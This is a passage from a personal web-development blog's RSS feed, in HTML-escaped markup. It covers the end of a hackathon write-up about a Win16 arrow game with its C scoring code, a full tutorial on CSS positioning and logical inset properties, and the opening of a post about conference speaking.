&lt;p&gt;Wrong.&lt;/p&gt;
&lt;p&gt;There is also the case of if you were supposed to press something, but you did not. Then that registers as a “Miss” as well.&lt;/p&gt;
&lt;p&gt;The third situation is when the rectangle was blank and you didn&apos;t press anything. That is a correct situation, but it is neither a “Hit” nor “Miss”.&lt;/p&gt;
&lt;p&gt;It got to a point where just talking about it made me confused, so we fell back to the trusty logic table. Originally drawn on a random piece of A4 paper Kheng Meng used as a mouse pad, I didn&apos;t think to snap a photo of it.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;Press key | Matches Arrow | Score
    ✓            ✓            1
    ✓            x            0
    x            x            0
    x            ✓            0
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Something like that.&lt;/p&gt;
&lt;p&gt;So we introduced a new variable called &lt;code&gt;stateOfLastAction&lt;/code&gt;. Kheng Meng mentioned that we should have used enumeration for this, but again, hackathon. And it was late in the day, our brain cells were depleted. This was added to the &lt;code&gt;WM_TIMER&lt;/code&gt; section of the application:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-c&quot;&gt;if (stateOfLastAction == 2 || (stateOfLastAction == 0 &amp;amp;&amp;amp; (fallingArrows[1] &amp;lt; 4)))
{
    hitMissBlank = 2;
    if (score &amp;gt; 0)
    {
        score--;
    }
}

if (stateOfLastAction == 1)
{
    score += 2;
    hitMissBlank = 1;
}

if (stateOfLastAction == 0 &amp;amp;&amp;amp; (fallingArrows[1] &amp;gt; 3))
{
    hitMissBlank = 0;
}

stateOfLastAction = 0;
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Step 9: Add game start, stop and timer&lt;/h3&gt;
&lt;p&gt;Lastly, we tossed in some user experience enhancements (actually, these are probably the most basic things one needs to include in a game), like a start and stop trigger, as well as a timer to indicate when the game was over.&lt;/p&gt;
&lt;p&gt;There were also some instructions to tell people which keys to press to start the game, and an indicator to show if you hit or missed the target. Plus a count-down timer. By then, we were too tired to draw more rectangles, so &lt;code&gt;TextOut()&lt;/code&gt; for everything!&lt;/p&gt;
&lt;p&gt;If you&apos;re really interested in our hacky code, the source is &lt;a href=&quot;https://github.com/huijing/falling-arrows-win16&quot;&gt;on GitHub&lt;/a&gt;.&lt;/p&gt;
&lt;h2&gt;Presentation time&lt;/h2&gt;
&lt;p&gt;The application itself really isn&apos;t anything exciting. But I really enjoyed working with Kheng Meng. It&apos;s kind of like when you travel with a friend for the first time, spend more than a week together almost 24-7 and at the end of it, still haven&apos;t killed each other.&lt;/p&gt;
&lt;p&gt;Then you know that your friendship has passed the test.&lt;/p&gt;
&lt;p&gt;Same thing.&lt;/p&gt;
&lt;iframe width=&quot;560&quot; height=&quot;315&quot; src=&quot;https://www.youtube.com/embed/30Cp1J2rJEo&quot; frameborder=&quot;0&quot; allow=&quot;accelerometer; autoplay; encrypted-media; gyroscope; picture-in-picture&quot; allowfullscreen&gt;&lt;/iframe&gt;
&lt;h2&gt;Wrapping up&lt;/h2&gt;
&lt;p&gt;Videos for all the presentations are on &lt;a href=&quot;https://engineers.sg/&quot;&gt;Engineers.SG&lt;/a&gt;, our local archive of tech talks in Singapore. I have a bunch of personal favourites from this edition.&lt;/p&gt;
&lt;p&gt;Firstly, &lt;a href=&quot;https://twitter.com/dtinth&quot;&gt;Thai Pangsakulyanont&lt;/a&gt;&apos;s (team name &lt;em&gt;dtinth&lt;/em&gt;, with a lower-case d) &lt;em&gt;&lt;a href=&quot;https://github.com/dtinth/super-silly-vortex&quot;&gt;Super Silly Vortex&lt;/a&gt;&lt;/em&gt;, which is the most amazing thing in the world. Thai is THE BEST.&lt;/p&gt;
&lt;iframe width=&quot;560&quot; height=&quot;315&quot; src=&quot;https://www.youtube.com/embed/8as2nAU6cZA&quot; frameborder=&quot;0&quot; allow=&quot;accelerometer; autoplay; encrypted-media; gyroscope; picture-in-picture&quot; allowfullscreen&gt;&lt;/iframe&gt;
&lt;p&gt;Also, &lt;em&gt;&lt;a href=&quot;https://github.com/wgao19/super-silly-joycon&quot;&gt;Special Password&lt;/a&gt;&lt;/em&gt; by team &lt;em&gt;Mr Chia who is not here&lt;/em&gt; (made up of &lt;a href=&quot;https://twitter.com/wgao19&quot;&gt;Gao Wei&lt;/a&gt;, &lt;a href=&quot;https://twitter.com/swyx&quot;&gt;Shawn Wang&lt;/a&gt; and &lt;a href=&quot;https://twitter.com/yishusee&quot;&gt;See Yishu&lt;/a&gt;), and the video contains swearing because of me, so you have been warned.&lt;/p&gt;
&lt;iframe width=&quot;560&quot; height=&quot;315&quot; src=&quot;https://www.youtube.com/embed/EKM1AEbtIWI&quot; frameborder=&quot;0&quot; allow=&quot;accelerometer; autoplay; encrypted-media; gyroscope; picture-in-picture&quot; allowfullscreen&gt;&lt;/iframe&gt;
&lt;p&gt;And, &lt;em&gt;Magic Wand&lt;/em&gt; by &lt;a href=&quot;https://twitter.com/vancassa&quot;&gt;Vanessa Cassandra&lt;/a&gt; (team name &lt;em&gt;Magical Girl&lt;/em&gt;). So magic, much win.&lt;/p&gt;
&lt;iframe width=&quot;560&quot; height=&quot;315&quot; src=&quot;https://www.youtube.com/embed/RUYZU9Oi_GI&quot; frameborder=&quot;0&quot; allow=&quot;accelerometer; autoplay; encrypted-media; gyroscope; picture-in-picture&quot; allowfullscreen&gt;&lt;/iframe&gt;
&lt;p&gt;Every hack was fantastic in their own right though, so go check out the nonsense everyone had a lot of fun building. If you steal anybody&apos;s idea and become rich, do the right thing and credit them back, ok?&lt;/p&gt;
</content:encoded></item><item><title>Understanding positioning in CSS</title><link>https://chenhuijing.com/blog/understanding-positioning-in-css/</link><guid isPermaLink="true">https://chenhuijing.com/blog/understanding-positioning-in-css/</guid><description>I was at JSConf China earlier this year, which happened in Shanghai from 19–20 Oct. There was fairly decent representation from Singapore I would say. Wei…</description><pubDate>Wed, 18 Dec 2019 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;I was at &lt;a href=&quot;https://2019.jsconfchina.com/&quot;&gt;JSConf China&lt;/a&gt; earlier this year, which happened in Shanghai from 19–20 Oct. There was fairly decent representation from Singapore I would say.&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://wgea.io/&quot;&gt;Wei&lt;/a&gt; (whom I probably mention every second blog post I write) was the opening keynote for Day 2, and it was one of the best if not THE best talk of the conference IMHO.&lt;/p&gt;
&lt;img srcset=&quot;/images/posts/css-positioning/wei-480.jpg 480w, /images/posts/css-positioning/wei-640.jpg 640w, /images/posts/css-positioning/wei-960.jpg 960w, /images/posts/css-positioning/wei-1280.jpg 1280w&quot; sizes=&quot;(max-width: 400px) 100vw, (max-width: 960px) 75vw, 640px&quot; src=&quot;/images/posts/css-positioning/wei-640.jpg&quot; alt=&quot;Wei on stage at JSConf China&quot;&gt;
&lt;p&gt;We also had &lt;a href=&quot;https://github.com/yongjun21/&quot;&gt;Yong Jun&lt;/a&gt; (another good friend of mine), who gave a workshop on the rather interesting topic of &lt;a href=&quot;https://webflow.com/blog/scrollytelling-guide&quot;&gt;scrolly-telling&lt;/a&gt;. He works in the graphics department for Singapore Press Holdings and has lots of experience creating interactive graphics and visualisations.&lt;/p&gt;
&lt;img srcset=&quot;/images/posts/css-positioning/yongjun-480.jpg 480w, /images/posts/css-positioning/yongjun-640.jpg 640w, /images/posts/css-positioning/yongjun-960.jpg 960w, /images/posts/css-positioning/yongjun-1280.jpg 1280w&quot; sizes=&quot;(max-width: 400px) 100vw, (max-width: 960px) 75vw, 640px&quot; src=&quot;/images/posts/css-positioning/yongjun-640.jpg&quot; alt=&quot;Yong Jun running workshop at JSConf China&quot;&gt;
&lt;p&gt;Yong Jun had developed an &lt;a href=&quot;https://github.com/yongjun21/st-scrolly&quot;&gt;open-source scrolly-telling library&lt;/a&gt; that he used for a lot of his projects and it uses &lt;code&gt;position: sticky&lt;/code&gt; for “snapping” content into place.&lt;/p&gt;
&lt;p&gt;During the workshop, he posed the question of why just applying &lt;code&gt;position: sticky&lt;/code&gt; alone on an element doesn&apos;t work. And this gave me the idea to do another CSS property deep dive &lt;span class=&quot;emoji&quot; role=&quot;img&quot; tabindex=&quot;0&quot; aria-label=&quot;nerd face&quot;&gt;🤓&lt;/span&gt;.&lt;/p&gt;
&lt;h2&gt;CSS is a team sport&lt;/h2&gt;
&lt;p class=&quot;no-margin&quot;&gt;CSS layout is not just one individual CSS property or even module. Everything on the web &lt;a href=&quot;https://www.w3.org/TR/2011/REC-CSS2-20110607/visuren.html#visual-model-intro&quot;&gt;is a box&lt;/a&gt;. And the layout of these boxes are determined the following:&lt;/p&gt;
&lt;ul&gt;
  &lt;li class=&quot;no-margin&quot;&gt;box dimensions and type&lt;/li&gt;
  &lt;li class=&quot;no-margin&quot;&gt;positioning scheme (normal flow, float, and absolute positioning)&lt;/li&gt;
  &lt;li class=&quot;no-margin&quot;&gt;relationships between elements in the document tree&lt;/li&gt;
  &lt;li&gt;external information (e.g., viewport size, intrinsic dimensions of images, etc.)&lt;/li&gt;
&lt;/ul&gt;
&lt;p class=&quot;no-margin&quot;&gt;From this bit of information alone, we can pick out the following CSS modules (including those in draft status):&lt;/p&gt;
&lt;ul&gt;
  &lt;li class=&quot;no-margin&quot;&gt;&lt;a href=&quot;https://www.w3.org/TR/css-display-3/&quot;&gt;CSS Display Module Level 3&lt;/a&gt; (CR)&lt;/li&gt;
  &lt;li class=&quot;no-margin&quot;&gt;&lt;a href=&quot;https://www.w3.org/TR/css-box-3/&quot;&gt;CSS Box Model Module Level 3&lt;/a&gt; (WD)&lt;/li&gt;
  &lt;li class=&quot;no-margin&quot;&gt;&lt;a href=&quot;https://www.w3.org/TR/css-position-3/&quot;&gt;CSS Positioned Layout Module Level 3&lt;/a&gt; (WD)&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.w3.org/TR/CSS21/visuren.html#floats&quot;&gt;CSS2.1 section 9.5 Floats&lt;/a&gt; (REC)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;The point I&apos;m making here is, if you&apos;d like to be fully equipped to build any layout you can imagine with CSS, I suggest understanding these different CSS modules and how they interact with each other. It definitely helped me out when I did so.&lt;/p&gt;
&lt;p&gt;In all fairness, I really dug into all of it when I was preparing for my CSS Day talk back in 2018, which was pretty much 45 minutes about boxes. All &lt;a href=&quot;https://noti.st/huijing/B3BMi1/box-alignment&quot;&gt;talk details on Notist&lt;/a&gt;.&lt;/p&gt;
&lt;h2&gt;Positioning schemes&lt;/h2&gt;
&lt;p class=&quot;no-margin&quot;&gt;After boxes are generated, the way they are laid out depends on which positioning scheme they fall into:&lt;/p&gt;
&lt;ul&gt;
  &lt;li class=&quot;no-margin&quot;&gt;Normal flow&lt;/li&gt;
  &lt;li class=&quot;no-margin&quot;&gt;Floats&lt;/li&gt;
  &lt;li&gt;Absolute positioning&lt;/li&gt;
&lt;/ul&gt;
&lt;img style=&quot;max-width:15em&quot; src=&quot;/images/posts/css-positioning/normal.svg&quot; alt=&quot;Boxies in normal flow&quot;&gt;
&lt;p&gt;Normal flow is the default, where boxes are laid out one after another, and will not overlap or intrude into each others&apos; space. All boxes will be on the same stacking context as well.&lt;/p&gt;
&lt;img style=&quot;max-width:15em&quot; src=&quot;/images/posts/css-positioning/float.svg&quot; alt=&quot;Boxies with a floated friend&quot;&gt;
&lt;p&gt;Boxes that are floated are considered &lt;em&gt;out-of-flow&lt;/em&gt;. When a box is floated, it is first laid out according to normal flow, but then is taken out the flow and shifted as far to the left or right as possible (depending on the float value).&lt;/p&gt;
&lt;p&gt;Content will then flow along the side of the floated box. But the floated boxes still remain on the same stacking context as the non-floated ones.&lt;/p&gt;
&lt;img style=&quot;max-width:12.5em&quot; src=&quot;/images/posts/css-positioning/absolute.svg&quot; alt=&quot;Boxies with an absolutely positioned friend&quot;&gt;
&lt;p&gt;An absolutely positioned box is completely removed from normal flow altogether, and its position is assigned with respect to its containing block.&lt;/p&gt;
&lt;p&gt;The positioning algorithms used to calculate the position of a box on the page is determined by the &lt;code&gt;position&lt;/code&gt; and &lt;code&gt;float&lt;/code&gt; properties. I&apos;ll try my best to explain this in a way that makes sense. But first, let&apos;s look at them individually.&lt;/p&gt;
&lt;h2&gt;The &lt;code&gt;position&lt;/code&gt; property&lt;/h2&gt;
&lt;p&gt;There are several values for this property, with &lt;code&gt;sticky&lt;/code&gt; being added in Level 3 of the Positioned Layout Module, and currently supported in most major browsers even though it is still in a working draft status.&lt;/p&gt;
&lt;h3&gt;&lt;code&gt;position: static&lt;/code&gt;&lt;/h3&gt;
&lt;p&gt;The default position value of any box. This results in the box being laid out in normal flow and the properties of &lt;code&gt;top&lt;/code&gt;, &lt;code&gt;bottom&lt;/code&gt;, &lt;code&gt;left&lt;/code&gt; and &lt;code&gt;right&lt;/code&gt; (also known as box offset values) will have no effect because the box is considered &lt;strong&gt;not positioned&lt;/strong&gt;.&lt;/p&gt;
&lt;img style=&quot;max-width:20em&quot; src=&quot;/images/posts/css-positioning/position-static.svg&quot; alt=&quot;Default layout of unpositioned boxes&quot;&gt;
&lt;h3&gt;&lt;code&gt;position: relative&lt;/code&gt;&lt;/h3&gt;
&lt;p&gt;Applying a &lt;code&gt;position&lt;/code&gt; of &lt;code&gt;relative&lt;/code&gt; to a box makes it &lt;strong&gt;positioned&lt;/strong&gt;, and now the &lt;code&gt;top&lt;/code&gt;, &lt;code&gt;bottom&lt;/code&gt;, &lt;code&gt;left&lt;/code&gt; and &lt;code&gt;right&lt;/code&gt; values will have some effect.&lt;/p&gt;
&lt;p&gt;The box will initially be laid out according to normal flow, then depending on the aforementioned box offset values, will be offset relative to its normal position.&lt;/p&gt;
&lt;img style=&quot;max-width:20em&quot; src=&quot;/images/posts/css-positioning/position-relative.svg&quot; alt=&quot;Relatively positioned box with top and left offsets&quot;&gt;
&lt;p&gt;If there are other non-positioned boxes next to this positioned box, they will &lt;strong&gt;not&lt;/strong&gt; be affected even if offset values are present. This means there may be the possibility of overlap.&lt;/p&gt;
&lt;p&gt;Also, if the offset causes the box to have overflow, this may result in scrolling, which would affect layout. When a box becomes relatively positioned, it becomes the new containing block for its children.&lt;/p&gt;
&lt;h3&gt;&lt;code&gt;position: sticky&lt;/code&gt;&lt;/h3&gt;
&lt;p&gt;A sticky positioned box works similarly to that of a relatively positioned box. The difference is that the offset is computed to the nearest ancestor with a &lt;strong&gt;scrolling box&lt;/strong&gt;, or the viewport if none such ancestor exists.&lt;/p&gt;
&lt;p&gt;This ties in to Yong Jun&apos;s original question of why applying &lt;code&gt;position: sticky&lt;/code&gt; alone on a box is insufficient to achieve the sticky effect. The box, without any offsets, behaves as though it was in normal flow, because it is.&lt;/p&gt;
&lt;p&gt;Only when the offset values are something other than &lt;code&gt;auto&lt;/code&gt; will the box start to behave differently from a relatively positioned box. The wording in the specification comes across slightly cryptic to me, but my understanding is that there is an intersection between the sticky box and its containing box when you apply a box offset value.&lt;/p&gt;
&lt;img style=&quot;max-width:20em&quot; src=&quot;/images/posts/css-positioning/position-sticky1.svg&quot; alt=&quot;Initial position of sticky positioned box&quot;&gt;
&lt;p&gt;This intersection is called a &lt;em&gt;sticky-constraint rectangle&lt;/em&gt; and is used to contain the location of the sticky box. The specification uses the term “projects above/below/outside” but I&apos;m not sure if my understanding is the same as what the specification authors intended.&lt;/p&gt;
&lt;img style=&quot;max-width:20em&quot; src=&quot;/images/posts/css-positioning/position-sticky2.svg&quot; alt=&quot;Position of sticky positioned box after scrolling takes place&quot;&gt;
&lt;p&gt;What I do know is that when you define an offset value, the offset will never push the sticky box outside its containing block, but the sticky box is free to move within the containing block as the page is scrolled, hence the perception of it being pinned to the relevant edges.&lt;/p&gt;
&lt;h3&gt;&lt;code&gt;position: absolute&lt;/code&gt;&lt;/h3&gt;
&lt;p&gt;An absolutely positioned box is explicitly offset with respect to its containing block, and the box does not participate in the normal flow at all. Its later siblings will not know about its existence in the greater layout.&lt;/p&gt;
&lt;img style=&quot;max-width:20em&quot; src=&quot;/images/posts/css-positioning/position-absolute.svg&quot; alt=&quot;Position of absolutely positioned box&quot;&gt;
&lt;p&gt;Contents of an absolutely positioned box do not flow around any other boxes and may overlap other boxes, and depending on the stack level of the boxes, content may be obscured by the overlap.&lt;/p&gt;
&lt;h3&gt;&lt;code&gt;position: fixed&lt;/code&gt;&lt;/h3&gt;
&lt;p&gt;A fixed position box behaves similarly to an absolutely positioned box. The key distinction is that the containing block is always the viewport.&lt;/p&gt;
&lt;img style=&quot;max-width:20em&quot; src=&quot;/images/posts/css-positioning/position-fixed.svg&quot; alt=&quot;Position of fixed positioned box&quot;&gt;
&lt;h2&gt;Box offset values&lt;/h2&gt;
&lt;p&gt;Traditionally, the box offset values most developers are familiar with are &lt;code&gt;top&lt;/code&gt;, &lt;code&gt;bottom&lt;/code&gt;, &lt;code&gt;left&lt;/code&gt; and &lt;code&gt;right&lt;/code&gt;. And I don&apos;t think it&apos;s a generalisation to say that most developers from the West don&apos;t give a second thought to writing modes that are anything other than horizontal top-to-bottom.&lt;/p&gt;
&lt;p&gt;But when you use a writing mode that is right-to-left, for example, or vertical writing, then these physical values of &lt;code&gt;top&lt;/code&gt;, &lt;code&gt;bottom&lt;/code&gt;, &lt;code&gt;left&lt;/code&gt; and &lt;code&gt;right&lt;/code&gt; make less sense. For example, the top of your content may not be the physical top of the browser viewport.&lt;/p&gt;
&lt;p&gt;As someone who grew up exposed to writing systems in different directions from the Western default, this was not hard for me to wrap my head around, but that may not be the case for many folks from the West.&lt;/p&gt;
&lt;blockquote class=&quot;twitter-tweet&quot;&gt;&lt;p lang=&quot;en&quot; dir=&quot;ltr&quot;&gt;Naming is always hard, especially when it does not exactly correlate with real life / usage expectations / metaphors. At least the terms used are consistent with other CSS properties. You need to know how block and inline behave and have some imagination.&lt;/p&gt;&amp;mdash; Ecaterina Moraru (@evalica) &lt;a href=&quot;https://twitter.com/evalica/status/1192315547335180288?ref_src=twsrc%5Etfw&quot;&gt;November 7, 2019&lt;/a&gt;&lt;/blockquote&gt;
&lt;p&gt;This is why I appreciate it when influential folks in our industry start talking about these lesser known aspects of web development, especially on the internationalisation side of things, because they have a wider reach and can help something considered obscure become more mainstream.&lt;/p&gt;
&lt;h3&gt;Logical box offset values&lt;/h3&gt;
&lt;div class=&quot;note&quot;&gt;Because the specification is still in Editor&apos;s Draft status, the syntax may change moving forward. Even now, the current browser implementation is different from what is in the specification, so be sure to double-check with &lt;a href=&quot;https://developer.mozilla.org/en-US/docs/Web/CSS/CSS_Logical_Properties&quot;&gt;MDN: CSS Logical Properties and Values&lt;/a&gt; on the most updated syntax.&lt;/div&gt;
&lt;p&gt;The matrix of writing directions and their corresponding values for a box&apos;s physical sides and logical sides are as follows (the table has been lifted from the specification as of time of writing):&lt;/p&gt;
&lt;div style=&quot;overflow-x:scroll;margin-bottom:1rem&quot;&gt;
  &lt;table style=&quot;font-size:80%;border-collapse:collapse;text-align:center;width:100%&quot;&gt;
    &lt;thead style=&quot;background-color:#3d3d3e;color:white;font-weight:bold&quot;&gt;
      &lt;tr&gt;
        &lt;th style=&quot;border:1px solid white&quot; colspan=&quot;2&quot; rowspan=&quot;3&quot;&gt;&lt;/th&gt;
        &lt;td style=&quot;border:1px solid white&quot; colspan=&quot;6&quot;&gt;writing-mode / direction&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
        &lt;td style=&quot;border:1px solid white&quot; colspan=&quot;2&quot;&gt;horizontal-tb&lt;/td&gt;
        &lt;td style=&quot;border:1px solid white&quot; colspan=&quot;2&quot;&gt;vertical-rl&lt;/td&gt;
        &lt;td style=&quot;border:1px solid white&quot; colspan=&quot;2&quot;&gt;vertical-lr&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
        &lt;td style=&quot;border:1px solid white&quot;&gt;ltr&lt;/td&gt;
        &lt;td style=&quot;border:1px solid white&quot;&gt;rtl&lt;/td&gt;
        &lt;td style=&quot;border:1px solid white&quot;&gt;ltr&lt;/td&gt;
        &lt;td style=&quot;border:1px solid white&quot;&gt;rtl&lt;/td&gt;
        &lt;td style=&quot;border:1px solid white&quot;&gt;ltr&lt;/td&gt;
        &lt;td style=&quot;border:1px solid white&quot;&gt;rtl&lt;/td&gt;
      &lt;/tr&gt;
    &lt;/thead&gt;
    &lt;tbody&gt;
      &lt;tr&gt;
        &lt;td style=&quot;border:1px solid&quot; rowspan=&quot;4&quot;&gt;&lt;div style=&quot;writing-mode:vertical-rl;transform:rotate(180deg);font-weight:bold&quot;&gt;Edge&lt;/div&gt;&lt;/td&gt;
        &lt;td style=&quot;border:1px solid&quot;&gt;&lt;div style=&quot;writing-mode:vertical-rl;transform:rotate(180deg);font-weight:bold;padding:0.5em 0&quot;&gt;top&lt;/div&gt;&lt;/td&gt;
        &lt;td style=&quot;border:1px solid&quot;&gt;inset-block-start&lt;/td&gt;
        &lt;td style=&quot;border:1px solid&quot;&gt;inset-block-start&lt;/td&gt;
        &lt;td style=&quot;border:1px solid&quot;&gt;inset-inline-start&lt;/td&gt;
        &lt;td style=&quot;border:1px solid&quot;&gt;inset-inline-end&lt;/td&gt;
        &lt;td style=&quot;border:1px solid&quot;&gt;inset-inline-start&lt;/td&gt;
        &lt;td style=&quot;border:1px solid&quot;&gt;inset-inline-end&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
        &lt;td&gt;&lt;div style=&quot;writing-mode:vertical-rl;transform:rotate(180deg);font-weight:bold;padding:0.5em 0&quot;&gt;right&lt;/div&gt;&lt;/td&gt;
        &lt;td style=&quot;border:1px solid&quot;&gt;inset-inline-end&lt;/td&gt;
        &lt;td style=&quot;border:1px solid&quot;&gt;inset-inline-start&lt;/td&gt;
        &lt;td style=&quot;border:1px solid&quot;&gt;inset-block-start&lt;/td&gt;
        &lt;td style=&quot;border:1px solid&quot;&gt;inset-block-start&lt;/td&gt;
        &lt;td style=&quot;border:1px solid&quot;&gt;inset-block-end&lt;/td&gt;
        &lt;td style=&quot;border:1px solid&quot;&gt;inset-block-end&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
        &lt;td style=&quot;border:1px solid&quot;&gt;&lt;div style=&quot;writing-mode:vertical-rl;transform:rotate(180deg);font-weight:bold;padding:0.5em 0&quot;&gt;bottom&lt;/div&gt;&lt;/td&gt;
        &lt;td style=&quot;border:1px solid&quot;&gt;inset-block-end&lt;/td&gt;
        &lt;td style=&quot;border:1px solid&quot;&gt;inset-block-end&lt;/td&gt;
        &lt;td style=&quot;border:1px solid&quot;&gt;inset-inline-end&lt;/td&gt;
        &lt;td style=&quot;border:1px solid&quot;&gt;inset-inline-start&lt;/td&gt;
        &lt;td style=&quot;border:1px solid&quot;&gt;inset-inline-end&lt;/td&gt;
        &lt;td style=&quot;border:1px solid&quot;&gt;inset-inline-start&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
        &lt;td style=&quot;border:1px solid&quot;&gt;&lt;div style=&quot;writing-mode:vertical-rl;transform:rotate(180deg);font-weight:bold;padding:0.5em 0&quot;&gt;left&lt;/div&gt;&lt;/td&gt;
        &lt;td style=&quot;border:1px solid&quot;&gt;inset-inline-start&lt;/td&gt;
        &lt;td style=&quot;border:1px solid&quot;&gt;inset-inline-end&lt;/td&gt;
        &lt;td style=&quot;border:1px solid&quot;&gt;inset-block-end&lt;/td&gt;
        &lt;td style=&quot;border:1px solid&quot;&gt;inset-block-end&lt;/td&gt;
        &lt;td style=&quot;border:1px solid&quot;&gt;inset-block-start&lt;/td&gt;
        &lt;td style=&quot;border:1px solid&quot;&gt;inset-block-start&lt;/td&gt;
      &lt;/tr&gt;
    &lt;/tbody&gt;
  &lt;/table&gt;
&lt;/div&gt;
&lt;p&gt;The logical top of a container uses &lt;code&gt;inset-block-start&lt;/code&gt;, while the logical bottom of a container uses &lt;code&gt;inset-block-end&lt;/code&gt;. The logical left of a container uses &lt;code&gt;inset-inline-start&lt;/code&gt;, while the logical right of a container uses &lt;code&gt;inset-inline-end&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;This is probably easier to visualise with a diagram (or live code if your browser supports it). The following is for &lt;code&gt;horizontal-tb&lt;/code&gt;:&lt;/p&gt;
&lt;figure&gt;
  &lt;figcaption&gt;Mapping for horizontal-tb&lt;/figcaption&gt;
  &lt;div class=&quot;double&quot;&gt;
    &lt;img src=&quot;/images/posts/css-positioning/tb-ltr.png&quot; srcset=&quot;/images/posts/css-positioning/tb-ltr@2x.png 2x&quot; alt=&quot;Logical box offset values for horizontal-tb with ltr&quot;&gt;
    &lt;img src=&quot;/images/posts/css-positioning/tb-rtl.png&quot; srcset=&quot;/images/posts/css-positioning/tb-rtl@2x.png 2x&quot; alt=&quot;Logical box offset values for horizontal-tb with rtl&quot;&gt;
  &lt;/div&gt;
&lt;/figure&gt;
&lt;p&gt;The following is for &lt;code&gt;vertical-rl&lt;/code&gt;:&lt;/p&gt;
&lt;figure&gt;
  &lt;figcaption&gt;Mapping for vertical-rl&lt;/figcaption&gt;
  &lt;div class=&quot;double&quot;&gt;
    &lt;img src=&quot;/images/posts/css-positioning/rl-ltr.png&quot; srcset=&quot;/images/posts/css-positioning/rl-ltr@2x.png 2x&quot; alt=&quot;Logical box offset values for vertical-rl with ltr&quot;&gt;
    &lt;img src=&quot;/images/posts/css-positioning/rl-rtl.png&quot; srcset=&quot;/images/posts/css-positioning/rl-rtl@2x.png 2x&quot; alt=&quot;Logical box offset values for vertical-rl with ltr&quot;&gt;
  &lt;/div&gt;
&lt;/figure&gt;
&lt;p&gt;The following is for &lt;code&gt;vertical-lr&lt;/code&gt;:&lt;/p&gt;
&lt;figure&gt;
  &lt;figcaption&gt;Mapping for vertical-lr&lt;/figcaption&gt;
  &lt;div class=&quot;double&quot;&gt;
    &lt;img src=&quot;/images/posts/css-positioning/lr-ltr.png&quot; srcset=&quot;/images/posts/css-positioning/lr-ltr@2x.png 2x&quot; alt=&quot;Logical box offset values for vertical-lr with ltr&quot;&gt;
    &lt;img src=&quot;/images/posts/css-positioning/lr-rtl.png&quot; srcset=&quot;/images/posts/css-positioning/lr-rtl@2x.png 2x&quot; alt=&quot;Logical box offset values for vertical-lr with ltr&quot;&gt;
  &lt;/div&gt;
&lt;/figure&gt;
&lt;h2&gt;Wrapping up&lt;/h2&gt;
&lt;p&gt;I suggest opening this CodePen in a full browser window and playing around with the examples and CSS values to get a feel of how everything fits together (or you could select the 0.5x option in the embed).&lt;/p&gt;
&lt;p class=&quot;codepen&quot; data-height=&quot;480&quot; data-theme-id=&quot;9162&quot; data-default-tab=&quot;result&quot; data-user=&quot;huijing&quot; data-slug-hash=&quot;PowbeXJ&quot; style=&quot;height: 461px; box-sizing: border-box; display: flex; align-items: center; justify-content: center; border: 2px solid; margin: 1em 0; padding: 1em;&quot; data-pen-title=&quot;Understanding CSS positioning&quot;&gt;
  &lt;span&gt;See the Pen &lt;a href=&quot;https://codepen.io/huijing/pen/PowbeXJ&quot;&gt;
  Understanding CSS positioning&lt;/a&gt; by Chen Hui Jing (&lt;a href=&quot;https://codepen.io/huijing&quot;&gt;@huijing&lt;/a&gt;)
  on &lt;a href=&quot;https://codepen.io&quot;&gt;CodePen&lt;/a&gt;.&lt;/span&gt;
&lt;/p&gt;
&lt;p&gt;There are plenty of useful resources that cover CSS positioning, so if my explanation doesn&apos;t work for you, try someone else&apos;s article or the specification directly. It is definitely worth the effort in the long run to figure out this important aspect of CSS layout for yourself.&lt;/p&gt;
&lt;ul&gt;
  &lt;li class=&quot;no-margin&quot;&gt;&lt;a href=&quot;https://www.w3.org/TR/css-position-3/&quot;&gt;CSS Positioned Layout Module Level 3 Working Draft&lt;/a&gt;&lt;/li&gt;
  &lt;li class=&quot;no-margin&quot;&gt;&lt;a href=&quot;https://developer.mozilla.org/en-US/docs/Learn/CSS/CSS_layout/Positioning&quot;&gt;MDN: Positioning&lt;/a&gt;&lt;/li&gt;
  &lt;li class=&quot;no-margin&quot;&gt;&lt;a href=&quot;https://medium.com/@elad/css-position-sticky-how-it-really-works-54cd01dc2d46&quot;&gt;CSS Position Sticky - How It Really Works!&lt;/a&gt;&lt;/li&gt;
  &lt;li class=&quot;no-margin&quot;&gt;&lt;a href=&quot;https://scotch.io/bar-talk/5-things-you-might-not-know-about-the-css-positioning-types&quot;&gt;5 Things You Might Not Know About the CSS Positioning Types&lt;/a&gt;&lt;/li&gt;
  &lt;li class=&quot;no-margin&quot;&gt;&lt;a href=&quot;https://internetingishard.com/html-and-css/advanced-positioning/&quot;&gt;Advanced Positioning&lt;/a&gt; (slightly older article so no &lt;code&gt;sticky&lt;/code&gt; in here)&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://alistapart.com/article/css-positioning-101/&quot;&gt;CSS Positioning 101&lt;/a&gt; (slightly older article so no &lt;code&gt;sticky&lt;/code&gt; in here)&lt;/li&gt;
&lt;/ul&gt;</content:encoded></item><item><title>Talking about talking CSS 2019 edition</title><link>https://chenhuijing.com/blog/conference-season-2019/</link><guid isPermaLink="true">https://chenhuijing.com/blog/conference-season-2019/</guid><description>November 24, 2016. The day I gave my first conference talk at CSSConf.Asia. June 3, 2017. The day I spoke at a conference outside of Singapore for the first…</description><pubDate>Sun, 15 Dec 2019 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;November 24, 2016. The day I gave my first conference talk at &lt;a href=&quot;https://2016.cssconf.asia/&quot;&gt;CSSConf.Asia&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;June 3, 2017. The day I spoke at a conference outside of Singapore for the first time at &lt;a href=&quot;https://2017.webconf.asia/&quot;&gt;Webconf.asia&lt;/a&gt;.&lt;/p&gt;
